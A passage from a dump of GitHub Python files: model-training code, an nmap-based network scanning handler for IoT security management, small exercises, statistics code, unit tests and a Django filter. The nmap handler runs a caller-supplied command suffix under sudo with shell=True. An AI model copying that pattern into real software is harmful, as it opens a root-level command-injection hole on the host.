cosine\r\n    lr_scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lf)\r\n\r\n    trainer_augment(loaders,\r\n                    model_params,\r\n                    model,\r\n                    criterion,\r\n                    val_criterion,\r\n                    optimizer,\r\n                    lr_scheduler,\r\n                    optimizer_params,\r\n                    training_params,\r\n                    save_path= path_params['save_path'].format(model_params['model_name'], fold))\r\n\r\n    del model, optimizer\r\n    gc.collect()\r\n    torch.cuda.empty_cache()", "repo_name": "freedom1810/kaggle-cassava", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "config.path_params", "line_number": 28, "usage_type": "name"}, {"api_name": "sklearn.utils.shuffle", "line_number": 34, "usage_type": "call"}, {"api_name": "sklearn.utils.shuffle", "line_number": 36, "usage_type": "call"}, {"api_name": "albumentations.Compose", "line_number": 39, "usage_type": "call"}, {"api_name": "albumentations.Resize", "line_number": 41, "usage_type": "call"}, {"api_name": "config.model_params", "line_number": 41, "usage_type": "name"}, {"api_name": "cv2.INTER_AREA", "line_number": 41, "usage_type": "attribute"}, {"api_name": "albumentations.Transpose", "line_number": 42, "usage_type": "call"}, {"api_name": "albumentations.HorizontalFlip", "line_number": 43, "usage_type": "call"}, {"api_name": "albumentations.VerticalFlip", "line_number": 44, "usage_type": "call"}, {"api_name": "albumentations.ShiftScaleRotate", "line_number": 45, "usage_type": "call"}, {"api_name": "albumentations.HueSaturationValue", "line_number": 46, "usage_type": "call"}, {"api_name": "albumentations.RandomBrightnessContrast", "line_number": 47, "usage_type": "call"}, {"api_name": "albumentations.Normalize", "line_number": 48, "usage_type": "call"}, {"api_name": "albumentations.CoarseDropout", "line_number": 49, "usage_type": "call"}, {"api_name": "albumentations.Cutout", "line_number": 50, "usage_type": "call"}, {"api_name": "albumentations.pytorch.transforms.ToTensorV2", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 54, "usage_type": "attribute"}, {"api_name": "dataloader.data.CassaDataset", "line_number": 55, "usage_type": "call"}, {"api_name": "config.path_params", "line_number": 57, "usage_type": "name"}, {"api_name": "config.training_params", "line_number": 60, "usage_type": "name"}, {"api_name": "config.training_params", "line_number": 61, "usage_type": "name"}, {"api_name": "albumentations.Compose", "line_number": 65, "usage_type": "call"}, {"api_name": "albumentations.Resize", "line_number": 67, "usage_type": "call"}, {"api_name": "config.model_params", "line_number": 67, "usage_type": "name"}, {"api_name": "cv2.INTER_AREA", "line_number": 67, "usage_type": "attribute"}, {"api_name": "albumentations.Transpose", "line_number": 68, "usage_type": "call"}, {"api_name": "albumentations.HorizontalFlip", "line_number": 69, "usage_type": "call"}, {"api_name": "albumentations.VerticalFlip", "line_number": 70, "usage_type": "call"}, {"api_name": "albumentations.ShiftScaleRotate", "line_number": 71, "usage_type": "call"}, {"api_name": "albumentations.HueSaturationValue", "line_number": 72, "usage_type": "call"}, {"api_name": "albumentations.RandomBrightnessContrast", "line_number": 73, "usage_type": "call"}, {"api_name": "albumentations.Normalize", "line_number": 74, "usage_type": "call"}, {"api_name": "albumentations.pytorch.transforms.ToTensorV2", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 77, "usage_type": "attribute"}, {"api_name": "dataloader.data.CassaDataset", "line_number": 78, "usage_type": "call"}, {"api_name": "config.path_params", "line_number": 80, "usage_type": "name"}, {"api_name": "config.training_params", "line_number": 83, "usage_type": "name"}, {"api_name": "config.training_params", "line_number": 84, "usage_type": "name"}, {"api_name": "net.nets.EfficientNetB3DSPlus", "line_number": 91, "usage_type": "call"}, {"api_name": "config.model_params", "line_number": 91, "usage_type": "argument"}, {"api_name": "config.training_params", "line_number": 91, "usage_type": "name"}, {"api_name": "config.model_params", "line_number": 98, "usage_type": "name"}, {"api_name": "config.model_params", "line_number": 99, "usage_type": "name"}, {"api_name": "net.ema.ModelEMA", "line_number": 99, "usage_type": "call"}, {"api_name": "loss.LOSSES", "line_number": 101, "usage_type": "name"}, {"api_name": "config.loss_params", "line_number": 101, "usage_type": "name"}, {"api_name": "loss.LOSSES", "line_number": 102, "usage_type": "name"}, {"api_name": "config.loss_params", "line_number": 102, "usage_type": "name"}, {"api_name": "optimizer.OPTIM", "line_number": 104, "usage_type": "name"}, {"api_name": "config.optimizer_params", "line_number": 104, "usage_type": "name"}, {"api_name": "math.cos", "line_number": 106, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 106, "usage_type": "attribute"}, {"api_name": "config.training_params", "line_number": 106, "usage_type": "name"}, {"api_name": "config.optimizer_params", "line_number": 106, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.LambdaLR", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 107, "usage_type": "attribute"}, {"api_name": "engine.engines_fp16.trainer_augment", "line_number": 109, "usage_type": "call"}, {"api_name": "config.model_params", "line_number": 110, "usage_type": "argument"}, {"api_name": "config.optimizer_params", "line_number": 116, "usage_type": "argument"}, {"api_name": "config.training_params", "line_number": 117, "usage_type": "argument"}, {"api_name": "config.path_params", "line_number": 118, "usage_type": "name"}, {"api_name": "config.model_params", "line_number": 118, "usage_type": "name"}, {"api_name": "gc.collect", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.cuda.empty_cache", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 122, "usage_type": "attribute"}]}
{"seq_id": "27549938269", "text": "import collections.abc\nimport json\nimport string\nimport subprocess\nimport time\nimport typing\nfrom multiprocessing import current_process\nfrom sys import platform\n\nfrom libnmap.parser import NmapParser\n\nimport constants\nfrom handler.DatabaseHandler import DatabaseHandler\nfrom handler.HostInformation import HostInformation\nfrom handler.ssh.SshInformation import SshInformation\nfrom util import ConfigurationHelper\n\n\n# Class responsible for nmap related operations\nclass NmapHandler:\n    def __init__(self):\n        if (platform == 'linux') or (platform == 'linux2') or (platform == 'darwin'):  # Linux or Mac OS\n            self.standard_command = constants.SUDO + ' ' + constants.NMAP_STANDARD_COMMAND_PREFIX\n        elif platform == 'win32':  # Windows\n            self.standard_command = constants.NMAP_STANDARD_COMMAND_PREFIX\n        self.database_handler = DatabaseHandler(constants.MONGO_URI)\n\n    # Runs nmap commands and return xml string\n    def run_command(self, cmd):\n        process = subprocess.run(cmd, shell=True, check=True,\n                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n                                 universal_newlines=True)\n        return process.stdout\n\n    # parse an nmap xml string to a python object\n    def parse_xml_result(self, xml_result):\n        return NmapParser.parse_fromstring(xml_result)\n\n    # execute a nmap network scan with the given command_suffix.\n    # The prefix needs to be constant to operate as sudo, and to return an xml result.\n    def scan_network(self, command_suffix):\n        nmap_xml_result = self.run_command(self.standard_command + command_suffix)\n        self.save_report(nmap_xml_result)\n        return nmap_xml_result\n\n    # wrapper method for scanning and parsing of nmap scan\n    def get_report(self, command_suffix):\n        nmap_xml_result = self.scan_network(command_suffix)\n        return self.parse_xml_result(nmap_xml_result)\n\n    # execute an nmap command and return the result as json string\n    def get_report_as_json(self, command_suffix):\n        nmap_xml_result = self.scan_network(command_suffix)\n        return ConfigurationHelper.convert_xml_to_json(nmap_xml_result)\n\n    # save report to the output file dir\n    def save_report(self, nmap_xml_result):\n        with open(constants.FILE_OUTPUT_DIRECTORY + constants.NMAP_XML_REPORT_FILE_NAME, 'w') as file:\n            file.write(nmap_xml_result)\n\n    # read report from the output file dir\n    def load_report(self):\n        with open(constants.FILE_OUTPUT_DIRECTORY + constants.NMAP_XML_REPORT_FILE_NAME, 'r') as file:\n            return file.read()\n\n    # wrapper method to read in report from the output dir as json\n    def load_report_as_json(self):\n        report = self.load_report()\n        return ConfigurationHelper.convert_xml_to_json(report)\n\n    # perform a custom network scan command which result gets written to the database\n    def custom_network_scan(self, nmap_command: string):\n        nmap_report_json = self.get_report_as_json(nmap_command)\n\n        # save to database\n        self.insert_nmaprun_to_database(nmap_report_json)\n\n    # get hosts of network by its ssh information if any\n    def get_hosts_including_ssh_information(self, nmaprun):\n        # perform ssh discovery\n        ssh_informations = self.ssh_service_discovery(nmaprun)\n        ip_hosts = self.get_hosts(nmaprun)\n\n        # relate ssh host data to ip host data\n        for host in ip_hosts:\n            for ssh_information in ssh_informations:\n                if host.ip == ssh_information.ip:\n                    host.ssh_information = ssh_information\n        return ip_hosts\n\n    # get single host of network by its ssh information if any\n    def get_single_host_including_ssh_information(self, nmaprun, ip: string):\n        # perform ssh discovery\n        ssh_informations = self.ssh_service_discovery(nmaprun)\n        ip_hosts = self.get_hosts(nmaprun)\n\n        # relate ssh host data to ip host data\n        for host in ip_hosts:\n            if host.ip == ip:\n                for ssh_information in ssh_informations:\n                    if host.ip == ssh_information.ip:\n                        host.ssh_information = ssh_information\n                        return host\n                # no ssh found on given host\n                return host\n\n    # find ssh services running in an given nmap scan\n    def ssh_service_discovery(self, nmaprun):\n        ssh_hosts: typing.List[SshInformation] = []\n        if 'host' in nmaprun:\n            if not isinstance(nmaprun['host'], collections.abc.Sequence):  # convert to array if none\n                nmaprun['host'] = [nmaprun['host']]\n            for host in nmaprun['host']:\n                ssh_port = None\n\n                if 'ports' in host:\n                    if 'port' in host['ports']:\n                        if not isinstance(host['ports']['port'], collections.abc.Sequence):  # convert to array if none\n                            host['ports']['port'] = [host['ports']['port']]\n\n                        # search ports for services with the name ssh\n                        for port in host['ports']['port']:\n                            if 'service' in port:\n                                if '@name' in port['service']:\n                                    if port['service']['@name'] == 'ssh':\n                                        ssh_port = port['@portid']\n                                        break\n\n                if ssh_port is None:\n                    continue  # no ssh service on this host\n\n                ssh_ip = self.get_ipv4_address(host)\n\n                # ip and port needs to be set\n                if (ssh_ip is not None) and (ssh_port is not None):\n                    ssh_information_host = SshInformation(ssh_ip, ssh_port)\n                    ssh_hosts.append(ssh_information_host)\n\n        return ssh_hosts\n\n    # get a list of all hosts in an given nmap network scan\n    def get_hosts(self, nmaprun):\n        hosts = []\n        if 'host' in nmaprun:\n            for host in nmaprun['host']:\n                ip = self.get_ipv4_address(host)\n                hostname = host['hostnames']['hostname']['@name']\n                ports = None\n\n                if 'ports' in host:\n                    if 'port' in host['ports']:\n                        if not isinstance(host['ports']['port'], collections.abc.Sequence):  # convert to array if none\n                            ports = [host['ports']['port']]\n                        else:\n                            ports = host['ports']['port']\n\n                host_information = HostInformation(ip, hostname, ports)\n                hosts.append(host_information)\n\n        return hosts\n\n    # get a single host in an given nmap network scan by ip\n    def get_host(self, nmaprun, search_ip: string):\n        if 'host' in nmaprun:\n            if not isinstance(nmaprun['host'], collections.abc.Sequence):\n                nmaprun['host'] = [nmaprun['host']]\n            for host in nmaprun['host']:\n                ipv4 = self.get_ipv4_address(host)\n                if ipv4 == search_ip:\n                    hostname = host['hostnames']['hostname']['@name']\n                    ports = None\n\n                    if 'ports' in host:\n                        if 'port' in host['ports']:\n                            if not isinstance(host['ports']['port'], collections.abc.Sequence):\n                                ports = [host['ports']['port']]\n                            else:\n                                ports = host['ports']['port']\n\n                    host_information = HostInformation(ipv4, hostname, ports)\n                    return host_information\n\n        return None\n\n    # get the ipv4 address of an nmaprun host\n    def get_ipv4_address(self, host):\n        if 'address' in host:\n            if not isinstance(host['address'], collections.abc.Sequence):\n                host['address'] = [host['address']]\n            for address in host['address']:\n                if address['@addrtype'] == 'ipv4':\n                    return address['@addr']\n        return None\n\n    # get ssh information of a host by a given ip from database\n    def get_ssh_information_by_ip(self, ip: string):\n        # get from database\n        nmap_report_db = self.database_handler.select_latest_entry(constants.COLLECTION_NAME_NMAPRUN)\n\n        # get ssh information of the host\n        nmap_handler = NmapHandler()\n        ssh_information_hosts = nmap_handler.ssh_service_discovery(nmap_report_db['nmaprun'])\n        ssh_information = None\n        for ssh_information_host in ssh_information_hosts:\n            if ssh_information_host.ip == ip:  # identify host by ip\n                ssh_information = ssh_information_host\n                break\n\n        return ssh_information\n\n    # write an nmaprun json to the database. add an unix timestamp to the data\n    def insert_nmaprun_to_database(self, nmap_report_json: string):\n        print(\"Writing result of nmap scan to database (\" + current_process().name + \")\")\n        try:\n            json_string = '{\"unixTime\":' + str(round(time.time())) + ',' + nmap_report_json[1:-1] + '}'\n            nmap_report = json.loads(json_string)\n            self.database_handler.insert_one_into(constants.COLLECTION_NAME_NMAPRUN, nmap_report)\n        except Exception as e:\n            print(e)\n            return\n", "repo_name": "Ric1234567/DigitalTwinsForIoTSecurityManagement", "sub_path": "flask-backend/handler/NmapHandler.py", "file_name": "NmapHandler.py", "file_ext": "py", "file_size_in_byte": 9333, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.platform", "line_number": 22, "usage_type": "name"}, {"api_name": "constants.SUDO", "line_number": 23, "usage_type": "attribute"}, {"api_name": "constants.NMAP_STANDARD_COMMAND_PREFIX", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 24, "usage_type": "name"}, {"api_name": "constants.NMAP_STANDARD_COMMAND_PREFIX", "line_number": 25, "usage_type": "attribute"}, {"api_name": "handler.DatabaseHandler.DatabaseHandler", "line_number": 26, "usage_type": "call"}, {"api_name": "constants.MONGO_URI", "line_number": 26, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 30, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 31, "usage_type": "attribute"}, {"api_name": "libnmap.parser.NmapParser.parse_fromstring", "line_number": 37, "usage_type": "call"}, {"api_name": "libnmap.parser.NmapParser", "line_number": 37, "usage_type": "name"}, {"api_name": "util.ConfigurationHelper.convert_xml_to_json", "line_number": 54, "usage_type": "call"}, {"api_name": "util.ConfigurationHelper", "line_number": 54, "usage_type": "name"}, {"api_name": "constants.FILE_OUTPUT_DIRECTORY", "line_number": 58, "usage_type": "attribute"}, {"api_name": "constants.NMAP_XML_REPORT_FILE_NAME", "line_number": 58, "usage_type": "attribute"}, {"api_name": "constants.FILE_OUTPUT_DIRECTORY", "line_number": 63, "usage_type": "attribute"}, {"api_name": "constants.NMAP_XML_REPORT_FILE_NAME", "line_number": 63, "usage_type": "attribute"}, {"api_name": "util.ConfigurationHelper.convert_xml_to_json", "line_number": 69, "usage_type": "call"}, {"api_name": "util.ConfigurationHelper", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 109, "usage_type": "attribute"}, {"api_name": "handler.ssh.SshInformation.SshInformation", "line_number": 109, "usage_type": "name"}, {"api_name": "collections.abc.abc", "line_number": 111, "usage_type": "attribute"}, {"api_name": "collections.abc", "line_number": 111, "usage_type": "name"}, {"api_name": "collections.abc.abc", "line_number": 118, "usage_type": "attribute"}, {"api_name": "collections.abc", "line_number": 118, "usage_type": "name"}, {"api_name": "handler.ssh.SshInformation.SshInformation", "line_number": 136, "usage_type": "call"}, {"api_name": "collections.abc.abc", "line_number": 152, "usage_type": "attribute"}, {"api_name": "collections.abc", "line_number": 152, "usage_type": "name"}, {"api_name": "handler.HostInformation.HostInformation", "line_number": 157, "usage_type": "call"}, {"api_name": "collections.abc.abc", "line_number": 165, "usage_type": "attribute"}, {"api_name": "collections.abc", "line_number": 165, "usage_type": "name"}, {"api_name": "collections.abc.abc", "line_number": 175, "usage_type": "attribute"}, {"api_name": "collections.abc", "line_number": 175, "usage_type": "name"}, {"api_name": "handler.HostInformation.HostInformation", "line_number": 180, "usage_type": "call"}, {"api_name": "collections.abc.abc", "line_number": 188, "usage_type": "attribute"}, {"api_name": "collections.abc", "line_number": 188, "usage_type": "name"}, {"api_name": "constants.COLLECTION_NAME_NMAPRUN", "line_number": 198, "usage_type": "attribute"}, {"api_name": "multiprocessing.current_process", "line_number": 213, "usage_type": "call"}, {"api_name": "time.time", "line_number": 215, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 216, "usage_type": "call"}, {"api_name": "constants.COLLECTION_NAME_NMAPRUN", "line_number": 217, "usage_type": "attribute"}]}
{"seq_id": "10161097522", "text": "\"\"\"\r\nGuitar Subset\r\n\r\nFor a list of integers S and a target number G, a subset of S that adds up to G is called a guitar subset.\r\n\r\nFor example:\r\nInput:\r\n24\r\n[12, 1, 61, 5, 9, 2]\r\nOutput:\r\n[12, 9, 2, 1]\r\n(G=24, S=[12, 1, 61, 5, 9, 2], there is a guitar subset [12, 9, 2, 1] that adds up to 24).\r\n\r\nIntegers can appear more than once in the list. You may assume all numbers in the list are positive.\r\n\r\nWrite a program to check if the user input has a guitar subset for the specified number G or not (both the list of integers and the number G are input parameters).\r\n\"\"\"\r\nimport random, math\r\nfrom itertools import permutations\r\nprint(\"Enter G number in the first line and S subset in the second line\")\r\ng=int(input())\r\ns=list(map(int,input().replace(\" \",\",\").replace(\";\",\",\").split(\",\")))\r\ndef guitarsubset(g,s):\r\n    x=False\r\n    for a in range(1,len(s)):\r\n        perm=list(permutations(s,a))\r\n        for b in perm:\r\n            if sum(b)==g:\r\n                print(\"For G\",g,\"and S\",s,\"guitar subset is\",list(b))\r\n                x=True\r\n                break\r\n        if x:\r\n            break\r\n    if x==False:\r\n        print(\"There is no guitar subset for given G:\",g,\" and S:\", s)\r\nguitarsubset(g,s)", "repo_name": "rustamlinabi/Python---SoloLearn-Assignments", "sub_path": "guitar.py", "file_name": "guitar.py", "file_ext": "py", "file_size_in_byte": 1207, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "itertools.permutations", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "14957814243", "text": "\"\"\"\nCheck hypothesis using the one-sided SMIRNOV homogeneity test.\nfrom scipy.stats import ks_2samp\n\"\"\"\n\nimport numpy as np\nfrom const import gamma\n\nfrom scipy.special import kolmogi\nfrom scipy.stats import expon\n\n\ndef smirnov(alpha):\n\n    \"\"\"\n    Compute the Kolmogorov-Smirnov statistic on 2 samples.\n    :param alpha: the scale parameter\n    :return: line about accepting or rejecting a hypothesis\n    \"\"\"\n    sample_1 = np.sort(np.random.exponential(scale=1, size=n))\n    sample_2 = np.sort(np.random.exponential(scale=1 / alpha, size=int(n / 2)))\n\n    k = np.array(range(1, len(sample_2) + 1))\n\n    D = np.maximum(expon.cdf(x=sample_2, loc=0, scale=1) - (k - 1) / len(sample_2),\n                   k / len(sample_2) - expon.cdf(x=sample_2, loc=0, scale=1)).max()\n\n    criteria = kolmogi(gamma) * np.sqrt((1 / n) + (1 / (n / 2)))\n\n    if D < criteria:\n        return f'D = {D:0.4f}, criteria = {criteria:0.4f}. \\n' \\\n               f'The statistical data do NOT CONFLICT with the H0 hypothesis.'\n    else:\n        return f'D = {D:0.4f}, criteria = {criteria:0.4f}. \\n' \\\n               f'The statistical data do CONFLICT with the H0 hypothesis.'\n\n\nif __name__ == '__main__':\n\n    \"\"\"\n    EXAMPLE. SMIRNOV test.\n    \"\"\"\n    with open('output/output_task4.txt', 'a+') as txt:\n        txt.write(f'gamma = {gamma} => z_gamma = {kolmogi(gamma):0.4f}\\n')\n        for a in [1, 1.3]:\n            txt.write(f'\\n\\nH_0: X_1 from F(u, 1), X_2 from F(u, 1) '\n                      f'when in fact X_1 from F(u, 1), X_1 from F(u, {a})\\n')\n            for n in map(int, (1e3, 1e4, 1e5)):\n                txt.write(f'{\"-\"*50}\\nn = {n}, {smirnov(alpha=a)}\\n')\n", "repo_name": "popryho/risk-theory", "sub_path": "lab2/task4_smirnov.py", "file_name": "task4_smirnov.py", "file_ext": "py", "file_size_in_byte": 1646, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.sort", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random.exponential", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.sort", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random.exponential", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 25, "usage_type": "call"}, {"api_name": "scipy.stats.expon.cdf", "line_number": 25, "usage_type": "call"}, {"api_name": "scipy.stats.expon", "line_number": 25, "usage_type": "name"}, {"api_name": "scipy.stats.expon.cdf", "line_number": 26, "usage_type": "call"}, {"api_name": "scipy.stats.expon", "line_number": 26, "usage_type": "name"}, {"api_name": "scipy.special.kolmogi", "line_number": 28, "usage_type": "call"}, {"api_name": "const.gamma", "line_number": 28, "usage_type": "argument"}, {"api_name": "numpy.sqrt", "line_number": 28, "usage_type": "call"}, {"api_name": "const.gamma", "line_number": 44, "usage_type": "name"}, {"api_name": "scipy.special.kolmogi", "line_number": 44, "usage_type": "call"}]}
{"seq_id": "36423298521", "text": "import unittest\nimport decimal\nimport random\nimport json\n\nfrom src.fuber_core.customer_actions import CustomerAction\nfrom src.models.location import Location\nfrom src.registry.cab_registry import CabRegistry\nfrom src.registry.customer_registry import CustomerRegistry\nfrom src.registry.trip_registry import TripRegistry\nfrom src.fuber_core.cab_dispatcher import CabDispatcher\nfrom src.fuber_core.trip_dispatcher import TripDispatcher\nfrom src.registry import cab_colors\nfrom src.models.cab import Cab, ColoredCab\n\nclass TripsTest(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.__cab_registry = CabRegistry()\n\t\tself.__customer_registry = CustomerRegistry()\n\t\tself.__trip_registry = TripRegistry()\n\t\tself.__cab_dispatcher = CabDispatcher(self.__cab_registry)\n\t\tself.__trip_dispatcher = TripDispatcher(self.__cab_dispatcher, self.__trip_registry)\n\n\tdef test_trip_start_with_invalid_trip_id(self):\n\t\t\"\"\"\n\t\t\tTests if with invalid details, trip can be started.\n\t\t\"\"\"\n\t\tcustomer_pickup_location = Location(12.45, 34.55)\n\t\tcustomer_drop_location = Location(45.32, 67.676)\n\n\t\ttest_cab_location = Location(10.00, 21.23)\n\t\tcolor = cab_colors.get_dafault_color()\n\t\tc = ColoredCab(0, test_cab_location, self.__cab_registry, color)\n\n\t\tcustomer_action = CustomerAction.get_action_object(customer_id = 100, trip_dispatcher = self.__trip_dispatcher)\n\t\ttrip_started_response = json.loads(customer_action.board_cab('123-hfje33-3344'))\n\n\t\tself.assertFalse(trip_started_response[\"is_success\"])\n\t\tself.assertEqual(trip_started_response[\"response_code\"], 250)\n\t\tself.assertEqual(trip_started_response[\"error_message\"], \"Trip information not found !!!\")\n\n\tdef test_trip_finished_without_trip_start(self):\n\t\t\"\"\"\n\t\t\tTests if trip can be finished without starting it.\n\t\t\"\"\"\n\t\tcustomer_pickup_location = Location(12.45, 34.55)\n\t\tcustomer_drop_location = Location(45.32, 67.676)\n\n\t\ttest_cab_location = Location(10.00, 21.23)\n\t\tcolor = cab_colors.get_dafault_color()\n\t\tc = ColoredCab(0, test_cab_location, self.__cab_registry, color)\n\n\t\tcustomer_action = CustomerAction.get_action_object(customer_id = 100, trip_dispatcher = self.__trip_dispatcher)\n\t\tresponse_for_cab_request = json.loads(customer_action.request_cab(customer_pickup_location, customer_drop_location))\n\t\tresponse_for_finished_trip = json.loads(customer_action.make_payment_and_offboard(response_for_cab_request[\"data\"][\"trip_id\"]))\n\n\t\tself.assertFalse(response_for_finished_trip[\"is_success\"])\n\t\tself.assertEqual(response_for_finished_trip[\"response_code\"], 250)\n\t\tself.assertEqual(response_for_finished_trip[\"error_message\"], \"Trip not started\")\n\n\tdef test_trip_order_amount(self):\n\t\t\"\"\"\n\t\t\tChecks order amount generation after trip gets completed.\n\t\t\tOrder amount is that amount which customer ows after completing the trip.\n\t\t\"\"\"\n\t\tcustomer_pickup_location = Location(12.45, 34.55)\n\t\tcustomer_drop_location = Location(45.32, 67.676)\n\n\t\ttest_cab_location = Location(10.00, 21.23)\n\t\tcolor = cab_colors.CabColor.COLOR_PINK\n\t\tc = ColoredCab(0, test_cab_location, self.__cab_registry, color)\n\n\t\tcustomer_action = CustomerAction.get_action_object(customer_id = 100, trip_dispatcher = self.__trip_dispatcher)\n\t\tresponse_for_cab_request = json.loads(customer_action.request_cab(customer_pickup_location, customer_drop_location, color))\n\t\ttrip_started_response = json.loads(customer_action.board_cab(response_for_cab_request[\"data\"][\"trip_id\"]))\n\t\tresponse_for_finished_trip = json.loads(customer_action.make_payment_and_offboard(response_for_cab_request[\"data\"][\"trip_id\"]))\n\n\t\tself.assertTrue(response_for_finished_trip[\"is_success\"])\n\t\tself.assertEqual(response_for_finished_trip[\"response_code\"], 200)\n\t\tself.assertEqual(response_for_finished_trip[\"data\"][\"order_summary\"][\"order_amount\"], 238.35)", "repo_name": "kousiknath/fuber", "sub_path": "test/test_trips.py", "file_name": "test_trips.py", "file_ext": "py", "file_size_in_byte": 3729, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "unittest.TestCase", "line_number": 16, "usage_type": "attribute"}, {"api_name": "src.registry.cab_registry.CabRegistry", "line_number": 18, "usage_type": "call"}, {"api_name": "src.registry.customer_registry.CustomerRegistry", "line_number": 19, "usage_type": "call"}, {"api_name": "src.registry.trip_registry.TripRegistry", "line_number": 20, "usage_type": "call"}, {"api_name": "src.fuber_core.cab_dispatcher.CabDispatcher", "line_number": 21, "usage_type": "call"}, {"api_name": "src.fuber_core.trip_dispatcher.TripDispatcher", "line_number": 22, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 28, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 29, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 31, "usage_type": "call"}, {"api_name": "src.registry.cab_colors.get_dafault_color", "line_number": 32, "usage_type": "call"}, {"api_name": "src.registry.cab_colors", "line_number": 32, "usage_type": "name"}, {"api_name": "src.models.cab.ColoredCab", "line_number": 33, "usage_type": "call"}, {"api_name": "src.fuber_core.customer_actions.CustomerAction.get_action_object", "line_number": 35, "usage_type": "call"}, {"api_name": "src.fuber_core.customer_actions.CustomerAction", "line_number": 35, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 36, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 46, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 47, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 49, "usage_type": "call"}, {"api_name": "src.registry.cab_colors.get_dafault_color", "line_number": 50, "usage_type": "call"}, {"api_name": "src.registry.cab_colors", "line_number": 50, "usage_type": "name"}, {"api_name": "src.models.cab.ColoredCab", "line_number": 51, "usage_type": "call"}, {"api_name": "src.fuber_core.customer_actions.CustomerAction.get_action_object", "line_number": 53, "usage_type": "call"}, {"api_name": "src.fuber_core.customer_actions.CustomerAction", "line_number": 53, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 54, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 55, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 66, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 67, "usage_type": "call"}, {"api_name": "src.models.location.Location", "line_number": 69, "usage_type": "call"}, {"api_name": "src.registry.cab_colors.CabColor", "line_number": 70, "usage_type": "attribute"}, {"api_name": "src.registry.cab_colors", "line_number": 70, "usage_type": "name"}, {"api_name": "src.models.cab.ColoredCab", "line_number": 71, "usage_type": "call"}, {"api_name": "src.fuber_core.customer_actions.CustomerAction.get_action_object", "line_number": 73, "usage_type": "call"}, {"api_name": "src.fuber_core.customer_actions.CustomerAction", "line_number": 73, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 74, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 75, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 76, "usage_type": "call"}]}
{"seq_id": "41569903539", "text": "from django.forms.widgets import DateInput, TextInput, CheckboxSelectMultiple\nfrom django_filters import FilterSet, DateFilter, CharFilter, MultipleChoiceFilter\nfrom .models import Post\n\n\nclass PostFilter(FilterSet):\n    datetime_create = DateFilter(\n        field_name='datetime_create',\n        lookup_expr='gt',\n        label='Дата (позднее)',\n        widget=DateInput(attrs={\n         'placeholder': 'гггг/мм/дд',\n         'class': 'form-control',\n         'type': 'date',\n         'style': 'width: 8em; display: inline-block'}),\n        )\n    title = CharFilter(\n        field_name='title',\n        lookup_expr='icontains',\n        label='Тема поста',\n        widget=TextInput(attrs={\n            'class': 'form-control',\n            'style': 'width: calc(100% - 8em); display: inline-block'}))\n    author = CharFilter(\n        field_name='author__user__username',\n        lookup_expr='icontains',\n        label='Автор поста',\n        widget=TextInput(attrs={\n            'class': 'form-control',\n            'style': 'width: 10em; display: inline-block'}))\n    category = MultipleChoiceFilter(\n        field_name='category__name',\n        label='Категория',\n        choices=[('games', 'games'), ('cats', 'cats'), ('cars', 'cars'), ('fun', 'fun')],\n        widget=CheckboxSelectMultiple()\n    )\n    class Meta:\n        model = Post\n        fields = ['author', 'datetime_create', 'category', 'title']\n", "repo_name": "Ant-on-git/SF-news_portal", "sub_path": "NewsPaper/news/filters.py", "file_name": "filters.py", "file_ext": "py", "file_size_in_byte": 1452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django_filters.FilterSet", "line_number": 6, "usage_type": "name"}, {"api_name": "django_filters.DateFilter", "line_number": 7, "usage_type": "call"}, {"api_name": "django.forms.widgets.DateInput", "line_number": 11, "usage_type": "call"}, {"api_name": "django_filters.CharFilter", "line_number": 17, 